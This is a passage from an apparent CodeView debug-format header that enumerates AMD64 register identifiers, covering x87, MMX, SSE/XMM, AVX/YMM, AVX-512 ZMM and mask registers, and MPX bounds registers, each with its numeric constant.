134,\n    CV_AMD64_ST7      =  135,\n    CV_AMD64_CTRL     =  136,\n    CV_AMD64_STAT     =  137,\n    CV_AMD64_TAG      =  138,\n    CV_AMD64_FPIP     =  139,\n    CV_AMD64_FPCS     =  140,\n    CV_AMD64_FPDO     =  141,\n    CV_AMD64_FPDS     =  142,\n    CV_AMD64_ISEM     =  143,\n    CV_AMD64_FPEIP    =  144,\n    CV_AMD64_FPEDO    =  145,\n\n    CV_AMD64_MM0      =  146,\n    CV_AMD64_MM1      =  147,\n    CV_AMD64_MM2      =  148,\n    CV_AMD64_MM3      =  149,\n    CV_AMD64_MM4      =  150,\n    CV_AMD64_MM5      =  151,\n    CV_AMD64_MM6      =  152,\n    CV_AMD64_MM7      =  153,\n\n    CV_AMD64_XMM0     =  154,   // KATMAI registers\n    CV_AMD64_XMM1     =  155,\n    CV_AMD64_XMM2     =  156,\n    CV_AMD64_XMM3     =  157,\n    CV_AMD64_XMM4     =  158,\n    CV_AMD64_XMM5     =  159,\n    CV_AMD64_XMM6     =  160,\n    CV_AMD64_XMM7     =  161,\n\n    CV_AMD64_XMM0_0   =  162,   // KATMAI sub-registers\n    CV_AMD64_XMM0_1   =  163,\n    CV_AMD64_XMM0_2   =  164,\n    CV_AMD64_XMM0_3   =  165,\n    CV_AMD64_XMM1_0   =  166,\n    CV_AMD64_XMM1_1   =  167,\n    CV_AMD64_XMM1_2   =  168,\n    CV_AMD64_XMM1_3   =  169,\n    CV_AMD64_XMM2_0   =  170,\n    CV_AMD64_XMM2_1   =  171,\n    CV_AMD64_XMM2_2   =  172,\n    CV_AMD64_XMM2_3   =  173,\n    CV_AMD64_XMM3_0   =  174,\n    CV_AMD64_XMM3_1   =  175,\n    CV_AMD64_XMM3_2   =  176,\n    CV_AMD64_XMM3_3   =  177,\n    CV_AMD64_XMM4_0   =  178,\n    CV_AMD64_XMM4_1   =  179,\n    CV_AMD64_XMM4_2   =  180,\n    CV_AMD64_XMM4_3   =  181,\n    CV_AMD64_XMM5_0   =  182,\n    CV_AMD64_XMM5_1   =  183,\n    CV_AMD64_XMM5_2   =  184,\n    CV_AMD64_XMM5_3   =  185,\n    CV_AMD64_XMM6_0   =  186,\n    CV_AMD64_XMM6_1   =  187,\n    CV_AMD64_XMM6_2   =  188,\n    CV_AMD64_XMM6_3   =  189,\n    CV_AMD64_XMM7_0   =  190,\n    CV_AMD64_XMM7_1   =  191,\n    CV_AMD64_XMM7_2   =  192,\n    CV_AMD64_XMM7_3   =  193,\n\n    CV_AMD64_XMM0L    =  194,\n    CV_AMD64_XMM1L    =  195,\n    CV_AMD64_XMM2L    =  196,\n    CV_AMD64_XMM3L    =  197,\n    CV_AMD64_XMM4L    =  198,\n    CV_AMD64_XMM5L    =  199,\n    CV_AMD64_XMM6L    =  200,\n    CV_AMD64_XMM7L    =  201,\n\n    CV_AMD64_XMM0H    =  202,\n    CV_AMD64_XMM1H    =  203,\n    CV_AMD64_XMM2H    =  204,\n    CV_AMD64_XMM3H    =  205,\n    CV_AMD64_XMM4H    =  206,\n    CV_AMD64_XMM5H    =  207,\n    CV_AMD64_XMM6H    =  208,\n    CV_AMD64_XMM7H    =  209,\n\n    CV_AMD64_MXCSR    =  211,   // XMM status register\n\n    CV_AMD64_EMM0L    =  220,   // XMM sub-registers (WNI integer)\n    CV_AMD64_EMM1L    =  221,\n    CV_AMD64_EMM2L    =  222,\n    CV_AMD64_EMM3L    =  223,\n    CV_AMD64_EMM4L    =  224,\n    CV_AMD64_EMM5L    =  225,\n    CV_AMD64_EMM6L    =  226,\n    CV_AMD64_EMM7L    =  227,\n\n    CV_AMD64_EMM0H    =  228,\n    CV_AMD64_EMM1H    =  229,\n    CV_AMD64_EMM2H    =  230,\n    CV_AMD64_EMM3H    =  231,\n    CV_AMD64_EMM4H    =  232,\n    CV_AMD64_EMM5H    =  233,\n    CV_AMD64_EMM6H    =  234,\n    CV_AMD64_EMM7H    =  235,\n\n    // do not change the order of these regs, first one must be even too\n    CV_AMD64_MM00     =  236,\n    CV_AMD64_MM01     =  237,\n    CV_AMD64_MM10     =  238,\n    CV_AMD64_MM11     =  239,\n    CV_AMD64_MM20     =  240,\n    CV_AMD64_MM21     =  241,\n    CV_AMD64_MM30     =  242,\n    CV_AMD64_MM31     =  243,\n    CV_AMD64_MM40     =  244,\n    CV_AMD64_MM41     =  245,\n    CV_AMD64_MM50     =  246,\n    CV_AMD64_MM51     =  247,\n    CV_AMD64_MM60     =  248,\n    CV_AMD64_MM61     =  249,\n    CV_AMD64_MM70     =  250,\n    CV_AMD64_MM71     =  251,\n\n    // Extended KATMAI registers\n    CV_AMD64_XMM8     =  252,   // KATMAI registers\n    CV_AMD64_XMM9     =  253,\n    CV_AMD64_XMM10    =  254,\n    CV_AMD64_XMM11    =  255,\n    CV_AMD64_XMM12    =  256,\n    CV_AMD64_XMM13    =  257,\n    CV_AMD64_XMM14    =  258,\n    CV_AMD64_XMM15    =  259,\n\n    CV_AMD64_XMM8_0   =  260,   // KATMAI sub-registers\n    CV_AMD64_XMM8_1   =  261,\n    CV_AMD64_XMM8_2   =  262,\n    CV_AMD64_XMM8_3   =  263,\n    CV_AMD64_XMM9_0   =  264,\n    CV_AMD64_XMM9_1   =  265,\n    CV_AMD64_XMM9_2   =  266,\n    CV_AMD64_XMM9_3   =  267,\n    CV_AMD64_XMM10_0  =  268,\n    CV_AMD64_XMM10_1  =  269,\n    CV_AMD64_XMM10_2  =  270,\n    CV_AMD64_XMM10_3  =  271,\n    CV_AMD64_XMM11_0  =  272,\n    CV_AMD64_XMM11_1  =  273,\n    CV_AMD64_XMM11_2  =  274,\n    CV_AMD64_XMM11_3  =  275,\n    CV_AMD64_XMM12_0  =  276,\n    CV_AMD64_XMM12_1  =  277,\n    CV_AMD64_XMM12_2  =  278,\n    CV_AMD64_XMM12_3  =  279,\n    CV_AMD64_XMM13_0  =  280,\n    CV_AMD64_XMM13_1  =  281,\n    CV_AMD64_XMM13_2  =  282,\n    CV_AMD64_XMM13_3  =  283,\n    CV_AMD64_XMM14_0  =  284,\n    CV_AMD64_XMM14_1  =  285,\n    CV_AMD64_XMM14_2  =  286,\n    CV_AMD64_XMM14_3  =  287,\n    CV_AMD64_XMM15_0  =  288,\n    CV_AMD64_XMM15_1  =  289,\n    CV_AMD64_XMM15_2  =  290,\n    CV_AMD64_XMM15_3  =  291,\n\n    CV_AMD64_XMM8L    =  292,\n    CV_AMD64_XMM9L    =  293,\n    CV_AMD64_XMM10L   =  294,\n    CV_AMD64_XMM11L   =  295,\n    CV_AMD64_XMM12L   =  296,\n    CV_AMD64_XMM13L   =  297,\n    CV_AMD64_XMM14L   =  298,\n    CV_AMD64_XMM15L   =  299,\n\n    CV_AMD64_XMM8H    =  300,\n    CV_AMD64_XMM9H    =  301,\n    CV_AMD64_XMM10H   =  302,\n    CV_AMD64_XMM11H   =  303,\n    CV_AMD64_XMM12H   =  304,\n    CV_AMD64_XMM13H   =  305,\n    CV_AMD64_XMM14H   =  306,\n    CV_AMD64_XMM15H   =  307,\n\n    CV_AMD64_EMM8L    =  308,   // XMM sub-registers (WNI integer)\n    CV_AMD64_EMM9L    =  309,\n    CV_AMD64_EMM10L   =  310,\n    CV_AMD64_EMM11L   =  311,\n    CV_AMD64_EMM12L   =  312,\n    CV_AMD64_EMM13L   =  313,\n    CV_AMD64_EMM14L   =  314,\n    CV_AMD64_EMM15L   =  315,\n\n    CV_AMD64_EMM8H    =  316,\n    CV_AMD64_EMM9H    =  317,\n    CV_AMD64_EMM10H   =  318,\n    CV_AMD64_EMM11H   =  319,\n    CV_AMD64_EMM12H   =  320,\n    CV_AMD64_EMM13H   =  321,\n    CV_AMD64_EMM14H   =  322,\n    CV_AMD64_EMM15H   =  323,\n\n    // Low byte forms of some standard registers\n    CV_AMD64_SIL      =  324,\n    CV_AMD64_DIL      =  325,\n    CV_AMD64_BPL      =  326,\n    CV_AMD64_SPL      =  327,\n\n    // 64-bit regular registers\n    CV_AMD64_RAX      =  328,\n    CV_AMD64_RBX      =  329,\n    CV_AMD64_RCX      =  330,\n    CV_AMD64_RDX      =  331,\n    CV_AMD64_RSI      =  332,\n    CV_AMD64_RDI      =  333,\n    CV_AMD64_RBP      =  334,\n    CV_AMD64_RSP      =  335,\n\n    // 64-bit integer registers with 8-, 16-, and 32-bit forms (B, W, and D)\n    CV_AMD64_R8       =  336,\n    CV_AMD64_R9       =  337,\n    CV_AMD64_R10      =  338,\n    CV_AMD64_R11      =  339,\n    CV_AMD64_R12      =  340,\n    CV_AMD64_R13      =  341,\n    CV_AMD64_R14      =  342,\n    CV_AMD64_R15      =  343,\n\n    CV_AMD64_R8B      =  344,\n    CV_AMD64_R9B      =  345,\n    CV_AMD64_R10B     =  346,\n    CV_AMD64_R11B     =  347,\n    CV_AMD64_R12B     =  348,\n    CV_AMD64_R13B     =  349,\n    CV_AMD64_R14B     =  350,\n    CV_AMD64_R15B     =  351,\n\n    CV_AMD64_R8W      =  352,\n    CV_AMD64_R9W      =  353,\n    CV_AMD64_R10W     =  354,\n    CV_AMD64_R11W     =  355,\n    CV_AMD64_R12W     =  356,\n    CV_AMD64_R13W     =  357,\n    CV_AMD64_R14W     =  358,\n    CV_AMD64_R15W     =  359,\n\n    CV_AMD64_R8D      =  360,\n    CV_AMD64_R9D      =  361,\n    CV_AMD64_R10D     =  362,\n    CV_AMD64_R11D     =  363,\n    CV_AMD64_R12D     =  364,\n    CV_AMD64_R13D     =  365,\n    CV_AMD64_R14D     =  366,\n    CV_AMD64_R15D     =  367,\n\n    // AVX registers 256 bits\n    CV_AMD64_YMM0     =  368,\n    CV_AMD64_YMM1     =  369,\n    CV_AMD64_YMM2     =  370,\n    CV_AMD64_YMM3     =  371,\n    CV_AMD64_YMM4     =  372,\n    CV_AMD64_YMM5     =  373,\n    CV_AMD64_YMM6     =  374,\n    CV_AMD64_YMM7     =  375,\n    CV_AMD64_YMM8     =  376, \n    CV_AMD64_YMM9     =  377,\n    CV_AMD64_YMM10    =  378,\n    CV_AMD64_YMM11    =  379,\n    CV_AMD64_YMM12    =  380,\n    CV_AMD64_YMM13    =  381,\n    CV_AMD64_YMM14    =  382,\n    CV_AMD64_YMM15    =  383,\n\n    // AVX registers upper 128 bits\n    CV_AMD64_YMM0H    =  384,\n    CV_AMD64_YMM1H    =  385,\n    CV_AMD64_YMM2H    =  386,\n    CV_AMD64_YMM3H    =  387,\n    CV_AMD64_YMM4H    =  388,\n    CV_AMD64_YMM5H    =  389,\n    CV_AMD64_YMM6H    =  390,\n    CV_AMD64_YMM7H    =  391,\n    CV_AMD64_YMM8H    =  392, \n    CV_AMD64_YMM9H    =  393,\n    CV_AMD64_YMM10H   =  394,\n    CV_AMD64_YMM11H   =  395,\n    CV_AMD64_YMM12H   =  396,\n    CV_AMD64_YMM13H   =  397,\n    CV_AMD64_YMM14H   =  398,\n    CV_AMD64_YMM15H   =  399,\n\n    //Lower/upper 8 bytes of XMM registers.  Unlike CV_AMD64_XMM<regnum><H/L>, these\n    //values reprsesent the bit patterns of the registers as 64-bit integers, not\n    //the representation of these registers as a double.\n    CV_AMD64_XMM0IL    = 400,\n    CV_AMD64_XMM1IL    = 401,\n    CV_AMD64_XMM2IL    = 402,\n    CV_AMD64_XMM3IL    = 403,\n    CV_AMD64_XMM4IL    = 404,\n    CV_AMD64_XMM5IL    = 405,\n    CV_AMD64_XMM6IL    = 406,\n    CV_AMD64_XMM7IL    = 407,\n    CV_AMD64_XMM8IL    = 408,\n    CV_AMD64_XMM9IL    = 409,\n    CV_AMD64_XMM10IL    = 410,\n    CV_AMD64_XMM11IL    = 411,\n    CV_AMD64_XMM12IL    = 412,\n    CV_AMD64_XMM13IL    = 413,\n    CV_AMD64_XMM14IL    = 414,\n    CV_AMD64_XMM15IL    = 415,\n\n    CV_AMD64_XMM0IH    = 416,\n    CV_AMD64_XMM1IH    = 417,\n    CV_AMD64_XMM2IH    = 418,\n    CV_AMD64_XMM3IH    = 419,\n    CV_AMD64_XMM4IH    = 420,\n    CV_AMD64_XMM5IH    = 421,\n    CV_AMD64_XMM6IH    = 422,\n    CV_AMD64_XMM7IH    = 423,\n    CV_AMD64_XMM8IH    = 424,\n    CV_AMD64_XMM9IH    = 425,\n    CV_AMD64_XMM10IH    = 426,\n    CV_AMD64_XMM11IH    = 427,\n    CV_AMD64_XMM12IH    = 428,\n    CV_AMD64_XMM13IH    = 429,\n    CV_AMD64_XMM14IH    = 430,\n    CV_AMD64_XMM15IH    = 431,\n\n    CV_AMD64_YMM0I0    =  432,        // AVX integer registers\n    CV_AMD64_YMM0I1    =  433,\n    CV_AMD64_YMM0I2    =  434,\n    CV_AMD64_YMM0I3    =  435,\n    CV_AMD64_YMM1I0    =  436,\n    CV_AMD64_YMM1I1    =  437,\n    CV_AMD64_YMM1I2    =  438,\n    CV_AMD64_YMM1I3    =  439,\n    CV_AMD64_YMM2I0    =  440,\n    CV_AMD64_YMM2I1    =  441,\n    CV_AMD64_YMM2I2    =  442,\n    CV_AMD64_YMM2I3    =  443,\n    CV_AMD64_YMM3I0    =  444,\n    CV_AMD64_YMM3I1    =  445,\n    CV_AMD64_YMM3I2    =  446,\n    CV_AMD64_YMM3I3    =  447,\n    CV_AMD64_YMM4I0    =  448,\n    CV_AMD64_YMM4I1    =  449,\n    CV_AMD64_YMM4I2    =  450,\n    CV_AMD64_YMM4I3    =  451,\n    CV_AMD64_YMM5I0    =  452,\n    CV_AMD64_YMM5I1    =  453,\n    CV_AMD64_YMM5I2    =  454,\n    CV_AMD64_YMM5I3    =  455,\n    CV_AMD64_YMM6I0    =  456,\n    CV_AMD64_YMM6I1    =  457,\n    CV_AMD64_YMM6I2    =  458,\n    CV_AMD64_YMM6I3    =  459,\n    CV_AMD64_YMM7I0    =  460,\n    CV_AMD64_YMM7I1    =  461,\n    CV_AMD64_YMM7I2    =  462,\n    CV_AMD64_YMM7I3    =  463,\n    CV_AMD64_YMM8I0    =  464,\n    CV_AMD64_YMM8I1    =  465,\n    CV_AMD64_YMM8I2    =  466,\n    CV_AMD64_YMM8I3    =  467,\n    CV_AMD64_YMM9I0    =  468,\n    CV_AMD64_YMM9I1    =  469,\n    CV_AMD64_YMM9I2    =  470,\n    CV_AMD64_YMM9I3    =  471,\n    CV_AMD64_YMM10I0    =  472,\n    CV_AMD64_YMM10I1    =  473,\n    CV_AMD64_YMM10I2    =  474,\n    CV_AMD64_YMM10I3    =  475,\n    CV_AMD64_YMM11I0    =  476,\n    CV_AMD64_YMM11I1    =  477,\n    CV_AMD64_YMM11I2    =  478,\n    CV_AMD64_YMM11I3    =  479,\n    CV_AMD64_YMM12I0    =  480,\n    CV_AMD64_YMM12I1    =  481,\n    CV_AMD64_YMM12I2    =  482,\n    CV_AMD64_YMM12I3    =  483,\n    CV_AMD64_YMM13I0    =  484,\n    CV_AMD64_YMM13I1    =  485,\n    CV_AMD64_YMM13I2    =  486,\n    CV_AMD64_YMM13I3    =  487,\n    CV_AMD64_YMM14I0    =  488,\n    CV_AMD64_YMM14I1    =  489,\n    CV_AMD64_YMM14I2    =  490,\n    CV_AMD64_YMM14I3    =  491,\n    CV_AMD64_YMM15I0    =  492,\n    CV_AMD64_YMM15I1    =  493,\n    CV_AMD64_YMM15I2    =  494,\n    CV_AMD64_YMM15I3    =  495,\n\n    CV_AMD64_YMM0F0    =  496,        // AVX floating-point single precise registers\n    CV_AMD64_YMM0F1    =  497,\n    CV_AMD64_YMM0F2    =  498,\n    CV_AMD64_YMM0F3    =  499,\n    CV_AMD64_YMM0F4    =  500,\n    CV_AMD64_YMM0F5    =  501,\n    CV_AMD64_YMM0F6    =  502,\n    CV_AMD64_YMM0F7    =  503,\n    CV_AMD64_YMM1F0    =  504,\n    CV_AMD64_YMM1F1    =  505,\n    CV_AMD64_YMM1F2    =  506,\n    CV_AMD64_YMM1F3    =  507,\n    CV_AMD64_YMM1F4    =  508,\n    CV_AMD64_YMM1F5    =  509,\n    CV_AMD64_YMM1F6    =  510,\n    CV_AMD64_YMM1F7    =  511,\n    CV_AMD64_YMM2F0    =  512,\n    CV_AMD64_YMM2F1    =  513,\n    CV_AMD64_YMM2F2    =  514,\n    CV_AMD64_YMM2F3    =  515,\n    CV_AMD64_YMM2F4    =  516,\n    CV_AMD64_YMM2F5    =  517,\n    CV_AMD64_YMM2F6    =  518,\n    CV_AMD64_YMM2F7    =  519,\n    CV_AMD64_YMM3F0    =  520,\n    CV_AMD64_YMM3F1    =  521,\n    CV_AMD64_YMM3F2    =  522,\n    CV_AMD64_YMM3F3    =  523,\n    CV_AMD64_YMM3F4    =  524,\n    CV_AMD64_YMM3F5    =  525,\n    CV_AMD64_YMM3F6    =  526,\n    CV_AMD64_YMM3F7    =  527,\n    CV_AMD64_YMM4F0    =  528,\n    CV_AMD64_YMM4F1    =  529,\n    CV_AMD64_YMM4F2    =  530,\n    CV_AMD64_YMM4F3    =  531,\n    CV_AMD64_YMM4F4    =  532,\n    CV_AMD64_YMM4F5    =  533,\n    CV_AMD64_YMM4F6    =  534,\n    CV_AMD64_YMM4F7    =  535,\n    CV_AMD64_YMM5F0    =  536,\n    CV_AMD64_YMM5F1    =  537,\n    CV_AMD64_YMM5F2    =  538,\n    CV_AMD64_YMM5F3    =  539,\n    CV_AMD64_YMM5F4    =  540,\n    CV_AMD64_YMM5F5    =  541,\n    CV_AMD64_YMM5F6    =  542,\n    CV_AMD64_YMM5F7    =  543,\n    CV_AMD64_YMM6F0    =  544,\n    CV_AMD64_YMM6F1    =  545,\n    CV_AMD64_YMM6F2    =  546,\n    CV_AMD64_YMM6F3    =  547,\n    CV_AMD64_YMM6F4    =  548,\n    CV_AMD64_YMM6F5    =  549,\n    CV_AMD64_YMM6F6    =  550,\n    CV_AMD64_YMM6F7    =  551,\n    CV_AMD64_YMM7F0    =  552,\n    CV_AMD64_YMM7F1    =  553,\n    CV_AMD64_YMM7F2    =  554,\n    CV_AMD64_YMM7F3    =  555,\n    CV_AMD64_YMM7F4    =  556,\n    CV_AMD64_YMM7F5    =  557,\n    CV_AMD64_YMM7F6    =  558,\n    CV_AMD64_YMM7F7    =  559,\n    CV_AMD64_YMM8F0    =  560,\n    CV_AMD64_YMM8F1    =  561,\n    CV_AMD64_YMM8F2    =  562,\n    CV_AMD64_YMM8F3    =  563,\n    CV_AMD64_YMM8F4    =  564,\n    CV_AMD64_YMM8F5    =  565,\n    CV_AMD64_YMM8F6    =  566,\n    CV_AMD64_YMM8F7    =  567,\n    CV_AMD64_YMM9F0    =  568,\n    CV_AMD64_YMM9F1    =  569,\n    CV_AMD64_YMM9F2    =  570,\n    CV_AMD64_YMM9F3    =  571,\n    CV_AMD64_YMM9F4    =  572,\n    CV_AMD64_YMM9F5    =  573,\n    CV_AMD64_YMM9F6    =  574,\n    CV_AMD64_YMM9F7    =  575,\n    CV_AMD64_YMM10F0    =  576,\n    CV_AMD64_YMM10F1    =  577,\n    CV_AMD64_YMM10F2    =  578,\n    CV_AMD64_YMM10F3    =  579,\n    CV_AMD64_YMM10F4    =  580,\n    CV_AMD64_YMM10F5    =  581,\n    CV_AMD64_YMM10F6    =  582,\n    CV_AMD64_YMM10F7    =  583,\n    CV_AMD64_YMM11F0    =  584,\n    CV_AMD64_YMM11F1    =  585,\n    CV_AMD64_YMM11F2    =  586,\n    CV_AMD64_YMM11F3    =  587,\n    CV_AMD64_YMM11F4    =  588,\n    CV_AMD64_YMM11F5    =  589,\n    CV_AMD64_YMM11F6    =  590,\n    CV_AMD64_YMM11F7    =  591,\n    CV_AMD64_YMM12F0    =  592,\n    CV_AMD64_YMM12F1    =  593,\n    CV_AMD64_YMM12F2    =  594,\n    CV_AMD64_YMM12F3    =  595,\n    CV_AMD64_YMM12F4    =  596,\n    CV_AMD64_YMM12F5    =  597,\n    CV_AMD64_YMM12F6    =  598,\n    CV_AMD64_YMM12F7    =  599,\n    CV_AMD64_YMM13F0    =  600,\n    CV_AMD64_YMM13F1    =  601,\n    CV_AMD64_YMM13F2    =  602,\n    CV_AMD64_YMM13F3    =  603,\n    CV_AMD64_YMM13F4    =  604,\n    CV_AMD64_YMM13F5    =  605,\n    CV_AMD64_YMM13F6    =  606,\n    CV_AMD64_YMM13F7    =  607,\n    CV_AMD64_YMM14F0    =  608,\n    CV_AMD64_YMM14F1    =  609,\n    CV_AMD64_YMM14F2    =  610,\n    CV_AMD64_YMM14F3    =  611,\n    CV_AMD64_YMM14F4    =  612,\n    CV_AMD64_YMM14F5    =  613,\n    CV_AMD64_YMM14F6    =  614,\n    CV_AMD64_YMM14F7    =  615,\n    CV_AMD64_YMM15F0    =  616,\n    CV_AMD64_YMM15F1    =  617,\n    CV_AMD64_YMM15F2    =  618,\n    CV_AMD64_YMM15F3    =  619,\n    CV_AMD64_YMM15F4    =  620,\n    CV_AMD64_YMM15F5    =  621,\n    CV_AMD64_YMM15F6    =  622,\n    CV_AMD64_YMM15F7    =  623,\n    \n    CV_AMD64_YMM0D0    =  624,        // AVX floating-point double precise registers\n    CV_AMD64_YMM0D1    =  625,\n    CV_AMD64_YMM0D2    =  626,\n    CV_AMD64_YMM0D3    =  627,\n    CV_AMD64_YMM1D0    =  628,\n    CV_AMD64_YMM1D1    =  629,\n    CV_AMD64_YMM1D2    =  630,\n    CV_AMD64_YMM1D3    =  631,\n    CV_AMD64_YMM2D0    =  632,\n    CV_AMD64_YMM2D1    =  633,\n    CV_AMD64_YMM2D2    =  634,\n    CV_AMD64_YMM2D3    =  635,\n    CV_AMD64_YMM3D0    =  636,\n    CV_AMD64_YMM3D1    =  637,\n    CV_AMD64_YMM3D2    =  638,\n    CV_AMD64_YMM3D3    =  639,\n    CV_AMD64_YMM4D0    =  640,\n    CV_AMD64_YMM4D1    =  641,\n    CV_AMD64_YMM4D2    =  642,\n    CV_AMD64_YMM4D3    =  643,\n    CV_AMD64_YMM5D0    =  644,\n    CV_AMD64_YMM5D1    =  645,\n    CV_AMD64_YMM5D2    =  646,\n    CV_AMD64_YMM5D3    =  647,\n    CV_AMD64_YMM6D0    =  648,\n    CV_AMD64_YMM6D1    =  649,\n    CV_AMD64_YMM6D2    =  650,\n    CV_AMD64_YMM6D3    =  651,\n    CV_AMD64_YMM7D0    =  652,\n    CV_AMD64_YMM7D1    =  653,\n    CV_AMD64_YMM7D2    =  654,\n    CV_AMD64_YMM7D3    =  655,\n    CV_AMD64_YMM8D0    =  656,\n    CV_AMD64_YMM8D1    =  657,\n    CV_AMD64_YMM8D2    =  658,\n    CV_AMD64_YMM8D3    =  659,\n    CV_AMD64_YMM9D0    =  660,\n    CV_AMD64_YMM9D1    =  661,\n    CV_AMD64_YMM9D2    =  662,\n    CV_AMD64_YMM9D3    =  663,\n    CV_AMD64_YMM10D0    =  664,\n    CV_AMD64_YMM10D1    =  665,\n    CV_AMD64_YMM10D2    =  666,\n    CV_AMD64_YMM10D3    =  667,\n    CV_AMD64_YMM11D0    =  668,\n    CV_AMD64_YMM11D1    =  669,\n    CV_AMD64_YMM11D2    =  670,\n    CV_AMD64_YMM11D3    =  671,\n    CV_AMD64_YMM12D0    =  672,\n    CV_AMD64_YMM12D1    =  673,\n    CV_AMD64_YMM12D2    =  674,\n    CV_AMD64_YMM12D3    =  675,\n    CV_AMD64_YMM13D0    =  676,\n    CV_AMD64_YMM13D1    =  677,\n    CV_AMD64_YMM13D2    =  678,\n    CV_AMD64_YMM13D3    =  679,\n    CV_AMD64_YMM14D0    =  680,\n    CV_AMD64_YMM14D1    =  681,\n    CV_AMD64_YMM14D2    =  682,\n    CV_AMD64_YMM14D3    =  683,\n    CV_AMD64_YMM15D0    =  684,\n    CV_AMD64_YMM15D1    =  685,\n    CV_AMD64_YMM15D2    =  686,\n    CV_AMD64_YMM15D3    =  687,\n\n    CV_AMD64_BND0       =  688,        // AMD64 MPX bounds registers\n    CV_AMD64_BND1       =  689,\n    CV_AMD64_BND2       =  690,\n    CV_AMD64_BND3       =  691,\n    CV_AMD64_BNDCFGU    =  692,\n    CV_AMD64_BNDSTATUS  =  693,\n\n    CV_AMD64_XMM16      =  694,     // AVX-512 registers\n    CV_AMD64_XMM17      =  695,\n    CV_AMD64_XMM18      =  696,\n    CV_AMD64_XMM19      =  697,\n    CV_AMD64_XMM20      =  698,\n    CV_AMD64_XMM21      =  699,\n    CV_AMD64_XMM22      =  700,\n    CV_AMD64_XMM23      =  701,\n    CV_AMD64_XMM24      =  702,\n    CV_AMD64_XMM25      =  703,\n    CV_AMD64_XMM26      =  704,\n    CV_AMD64_XMM27      =  705,\n    CV_AMD64_XMM28      =  706,\n    CV_AMD64_XMM29      =  707,\n    CV_AMD64_XMM30      =  708,\n    CV_AMD64_XMM31      =  709,\n\n    CV_AMD64_YMM16      =  710,\n    CV_AMD64_YMM17      =  711,\n    CV_AMD64_YMM18      =  712,\n    CV_AMD64_YMM19      =  713,\n    CV_AMD64_YMM20      =  714,\n    CV_AMD64_YMM21      =  715,\n    CV_AMD64_YMM22      =  716,\n    CV_AMD64_YMM23      =  717,\n    CV_AMD64_YMM24      =  718,\n    CV_AMD64_YMM25      =  719,\n    CV_AMD64_YMM26      =  720,\n    CV_AMD64_YMM27      =  721,\n    CV_AMD64_YMM28      =  722,\n    CV_AMD64_YMM29      =  723,\n    CV_AMD64_YMM30      =  724,\n    CV_AMD64_YMM31      =  725,\n\n    CV_AMD64_ZMM0       =  726,\n    CV_AMD64_ZMM1       =  727,\n    CV_AMD64_ZMM2       =  728,\n    CV_AMD64_ZMM3       =  729,\n    CV_AMD64_ZMM4       =  730,\n    CV_AMD64_ZMM5       =  731,\n    CV_AMD64_ZMM6       =  732,\n    CV_AMD64_ZMM7       =  733,\n    CV_AMD64_ZMM8       =  734,\n    CV_AMD64_ZMM9       =  735,\n    CV_AMD64_ZMM10      =  736,\n    CV_AMD64_ZMM11      =  737,\n    CV_AMD64_ZMM12      =  738,\n    CV_AMD64_ZMM13      =  739,\n    CV_AMD64_ZMM14      =  740,\n    CV_AMD64_ZMM15      =  741,\n    CV_AMD64_ZMM16      =  742,\n    CV_AMD64_ZMM17      =  743,\n    CV_AMD64_ZMM18      =  744,\n    CV_AMD64_ZMM19      =  745,\n    CV_AMD64_ZMM20      =  746,\n    CV_AMD64_ZMM21      =  747,\n    CV_AMD64_ZMM22      =  748,\n    CV_AMD64_ZMM23      =  749,\n    CV_AMD64_ZMM24      =  750,\n    CV_AMD64_ZMM25      =  751,\n    CV_AMD64_ZMM26      =  752,\n    CV_AMD64_ZMM27      =  753,\n    CV_AMD64_ZMM28      =  754,\n    CV_AMD64_ZMM29      =  755,\n    CV_AMD64_ZMM30      =  756,\n    CV_AMD64_ZMM31      =  757,\n\n    CV_AMD64_K0         =  758,\n    CV_AMD64_K1         =  759,\n    CV_AMD64_K2         =  760,\n    CV_AMD64_K3         =  761,\n    CV_AMD64_K4         =  762,\n    CV_AMD64_K5         =  763,\n    CV_AMD64_K6         =  764,\n    CV_AMD64_K7         =  765,\n\n    CV_AMD64_ZMM0H      =  766,     // upper 256 bits of the first 16 AMD64 AVX-512 registers\n    CV_AMD64_ZMM1H      =  767,\n    CV_AMD64_ZMM2H      =  768,\n    CV_AMD64_ZMM3H      =  769,\n    CV_AMD64_ZMM4H      =  770,\n    CV_AMD64_ZMM5H      =  771,\n    CV_AMD64_ZMM6H      =  772,\n    CV_AMD64_ZMM7H      =  773,\n    CV_AMD64_ZMM8H      =  774,\n    CV_AMD64_ZMM9H      =  775,\n    CV_AMD64_ZMM10H     =  776,\n    CV_AMD64_ZMM11H     =  777,\n    CV_AMD64_ZMM12H     =  778,\n    CV_AMD64_ZMM13H     =  779,\n    CV_AMD64_ZMM14H     =  780,\n    CV_AMD64_ZMM15H     =  781,\n\n    CV_AMD64_XMM16L     =  782,     // extended KATMAI registers\n    CV_AMD64_XMM17L     =  783,\n    CV_AMD64_XMM18L     =  784,\n    CV_AMD64_XMM19L     =  785,\n    CV_AMD64_XMM20L     =  786,\n    CV_AMD64_XMM21L     =  787,\n    CV_AMD64_XMM22L     =  788,\n    CV_AMD64_XMM23L     =  789,\n    CV_AMD64_XMM24L     =  790,\n    CV_AMD64_XMM25L     =  791,\n    CV_AMD64_XMM26L     =  792,\n    CV_AMD64_XMM27L     =  793,\n    CV_AMD64_XMM28L     =  794,\n    CV_AMD64_XMM29L     =  795,\n    CV_AMD64_XMM30L     =  796,\n    CV_AMD64_XMM31L     =  797,\n\n    CV_AMD64_XMM16_0    =  798,\n    CV_AMD64_XMM17_0    =  799,\n    CV_AMD64_XMM18_0    =  800,\n    CV_AMD64_XMM19_0    =  801,\n    CV_AMD64_XMM20_0    =  802,\n    CV_AMD64_XMM21_0    =  803,\n    CV_AMD64_XMM22_0    =  804,\n    CV_AMD64_XMM23_0    =  805,\n    CV_AMD64_XMM24_0    =  806,\n    CV_AMD64_XMM25_0    =  807,\n    CV_AMD64_XMM26_0    =  808,\n    CV_AMD64_XMM27_0    =  809,\n    CV_AMD64_XMM28_0    =  810,\n    CV_AMD64_XMM29_0    =  811,\n    CV_AMD64_XMM30_0    =  812,\n    CV_AMD64_XMM31_0    =  813,\n\n    CV_AMD64_XMM16H     =  814,\n    CV_AMD64_XMM17H     =  815,\n    CV_AMD64_XMM18H     =  816,\n    CV_AMD64_XMM19H     =  817,\n    CV_AMD64_XMM20H     =  818,\n    CV_AMD64_XMM21H     =  819,\n    CV_AMD64_XMM22H     =  820,\n    CV_AMD64_XMM23H     =  821,\n    CV_AMD64_XMM24H     =  822,\n    CV_AMD64_XMM25H     =  823,\n    CV_AMD64_XMM26H     =  824,\n    CV_AMD64_XMM27H     =  825,\n    CV_AMD64_XMM28H     =  826,\n    CV_AMD64_XMM29H     =  827,\n    